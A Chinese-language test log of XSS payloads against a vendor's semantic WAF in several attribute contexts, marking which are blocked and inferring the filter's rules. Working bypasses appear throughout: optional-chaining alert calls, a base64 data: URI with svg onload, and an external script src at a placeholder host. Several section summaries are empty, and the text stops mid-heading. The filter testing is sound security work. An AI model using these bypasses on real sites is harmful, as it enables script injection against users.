假设攻击场景如下
漏洞输出位置是 <标签 危险属性="用户输出可控位置">,比如:
<a href="用户输出可控位置">
<script src="用户输出可控位置">
攻击者不闭合属性值时利用xss攻击,如:
<a href="javascript:alert('xss')">
经过前期调研,在属性值中有下面这些利用方式:
在这个场景下,不考虑其他的利用手段,验证厂商语义waf的安全防护策略
分析思路:
攻击场景是
<a/href="用户输出可控点"></a>
测试过程
a=javascript:console.xxx() 拦截
a=javascript:console.log(111);xx{`faji( 不拦截 说明判断了js语法是否正确
a=javascript:xxx.consol(11) 不拦截
a=javascript:xxx.console(11) 拦截 说明危险对象和危险函数一样,在同一个黑名单里。
a=javascript:xxx.consoleeee(11) 拦截
a=javascript:xxx.xxxconsoleeee(11) 不拦截 说明判断是否在黑名单中采用前缀判断
a=javascript:xxxxx() 不拦截
a=javascript:alertxxx(11) 拦截
a=javascript:alert() 拦截 说明逻辑是 是否存在函数调用 && 函数名是否在黑名单中
a=javascript:a=alert;a(1); 拦截
a=javascript:a=alert;b(1); 拦截 似乎逻辑是 危险函数赋值 && 调用函数
a=javascript:a=console;b`1`; 拦截
a=javascript:a=console;b(1); 拦截
a=javascript:a=/**/console;b`1`; 拦截 可以确认拦截逻辑是 危险函数赋值 && 调用函数
a=javascript:alert("1") 拦截
a=javascript:alert?.("1") 应该拦截,但是没有拦截。 说明这里做了js语法解析,且解析器没有支持最新的js语法
a=javascript:console() 不拦截
a=javascript:console();xxx.xx() 拦截
a=javascript:consolexxaa();xxx.xx 不拦截 说明只有存在 对象.函数()形式的函数调用 && 对象名在黑名单中
a=javascript:window=xxx;xxx.xx() 不拦截
a=javascript:xxx=window;xxx.xx() 拦截 可以确认拦截逻辑是 危险对象赋值 && 调用函数
小结:
攻击场景是
<svg/onload="用户输出点">
测试过程
a=alert() 拦截
a=xxxxx() 不拦截 说明逻辑是 是否存在函数调用 && 函数名是否在黑名单中
a=x=alert;x(1); 应该拦截,但是没有拦截。 说明这里没有"危险函数赋值 && 调用函数"的检测逻辑
a=console.log(11) 应该拦截,但是也没有拦截 说明没有拦截"危险对象"
xxxx.alert(11) 拦截 确认逻辑是 是否存在函数调用 && 函数名是否在黑名单中
小结:
攻击场景是
<iframe src="用户输出可控点">
测试过程
data:text/html;base64;PGltZy9vbmxvYWQ9eHg 不拦截
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+ 应该拦截,但是没有拦截. 说明不拦截这种利用场景
小结:不拦截
攻击场景是
<script src="用户输出点">
测试过程
http://xxx.com/a.js 应该拦截,但是没有拦截. 说明不拦截这种攻击场景
小结:不拦截
拦截策略,可能是: